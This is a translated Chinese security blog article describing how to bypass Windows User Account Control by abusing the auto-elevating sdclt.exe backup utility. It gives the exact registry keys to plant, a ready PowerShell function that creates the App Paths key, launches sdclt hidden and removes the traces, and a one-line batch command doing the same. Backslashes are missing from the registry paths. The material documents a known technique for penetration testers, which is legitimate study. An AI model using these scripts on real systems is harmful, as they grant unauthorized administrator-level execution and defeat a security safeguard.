繞過UAC系列之 SDCLT的利用
SDCLT是Windows系統(Windows 7及更高版本)中使用的Microsoft二進位文件,允許用戶執行備份和恢復操作。 但是它只是 Windows 將autoElevate設置為「true」的所有Microsoft二進位文件中的一個。 這一點可以通過使用sysinternals中的Sigcheck工具並瀏覽其清單文件進行驗證:
sdclt 的 autoelevate被設置為true
Matt Nelson發現了兩種可以允許用戶在Windows 10環境中繞過UAC的方法。 這兩種方法都需要構建一個特定的註冊表結構,但它們彼此並不相同,因為其中一個方法可以採用命令參數,而另一個方法將執行二進位文件的完整路徑。
應用路徑
備份和還原操作是控制面板的一部分。 這意味著當sdclt.exe進程啟動時,控制面板也會啟動。 該二進位文件被設計為以高完整性的進程運行:
sdclt – 高完整性進程
另外sdclt在啟動時會在註冊表中查找以下位置。
HKCUSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe
然而這個路徑並不存在,因此,一個攻擊者可以創建這個註冊項路徑就可以執行指定的 payload,而且是以一個高完整性的進程啟動,從而繞過了UAC。
sdclt – 註冊項路徑並不存在
應用程序路徑 – 繞過UAC的註冊項
下一次啟動 sdclt.exe,則會運行並打開已經提升過許可權的cmd:
sdclt – 已經提升過許可權的cmd
無文件的實現
還有另一種方法可以通過sdclt來繞過UAC,可以使用命令參數而不是二進位程序的完整路徑。 具體來說是這樣的,當使用「kickoffelev」執行sdclt時,將會在註冊表中執行檢查,目的是找到以下路徑:
HKCUSoftwareClassesexefileshell
unascommandIsolatedCommand
默認情況下,此路徑並不存在,因此可以手動構造這個路徑,然後就可以執行cmd了:
Sdclt 無文件繞過UAC – Isolated Command 註冊表項
當sdclt再次使用/kickoffelev參數執行時,它會發現IsolatedCommand註冊表項是存在的,然後它就會執行許可權提升,然後打開cmd。
sdclt 無文件的實現– 已經繞過UAC的cmd
PowerShell的實現
可以使用以下PowerShell腳本來自動執行此繞過過程,該腳本是為pentestlab的博客而編寫的,它實際上是Matt Nelson 編寫的AppPathBypass腳本的簡化版本。
具體的代碼如下,或者你也可以在GithubGist 倉庫中找到:
function SdcltUACBypass(){Param ( [String]$program = "C:WindowsSystem32cmd.exe" #default )#Create Registry StructureNew-Item "HKCU:SoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" -ForceSet-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" -Name "(default)" -Value $program -Force#Start sdclt.exeStart-Process "C:WindowsSystem32sdclt.exe" -WindowStyle Hidden#CleanupStart-Sleep 3Remove-Item "HKCU:SoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" -Recurse -Force}
利用sdclt繞過 UAC的PowerShell腳本
Matt Nelson 為這兩種繞過方式都開發了對應的 PowerShell 腳本 ,用於演示繞過UAC。
應用程序路徑 –通過PowerShell實現的UAC繞過
無文件繞過 UAC – sdclt – PoweShell
命令提示符和記事本程序將以與sdclt相同的許可權級別啟動運行,這意味著它們的進程將以完全級別設置為「高」的進程運行,最終就繞過了用戶帳戶控制(UAC)。
sdclt – cmd 和 notepad 程序會作為一個高完整性的進程運行
UACME
現在要說的這種繞過方式是 UACME 項目的第31個繞過方式:
sdclt –利用 UACME 繞過UAC
批處理文件
也可以通過.bat 文件執行此繞過方式:
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionApp Pathscontrol.exe" /f
參考資源
https://gist.githubusercontent.com/netbiosX/54a305a05b979e13d5cdffeba5436bcc/raw/3548580f4e6c7dd0b0e5221078bcd2fad4949501/Sdclt.ps1
https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx
https://github.com/enigma0x3/Misc-PowerShell-Stuff
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-SDCLTBypass.ps1
https://github.com/r00t-3xp10it/msf-auxiliarys
本文翻譯自:https://pentestlab.blog/2017/06/09/uac-bypass-sdclt/ ,如若轉載,請註明來源於嘶吼: http://www.4hou.com/technology/5704.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※SecWiki周刊(第148期)
※維基解密又雙叒叕曝光了 CIA 針對 Mac 和 Linux 的 3 個黑客工具
※漲姿勢 | 看我如何通過汗液解鎖智能設備?
※請警惕遠邪帶路黨,他們有可能是專業的網路恐怖分子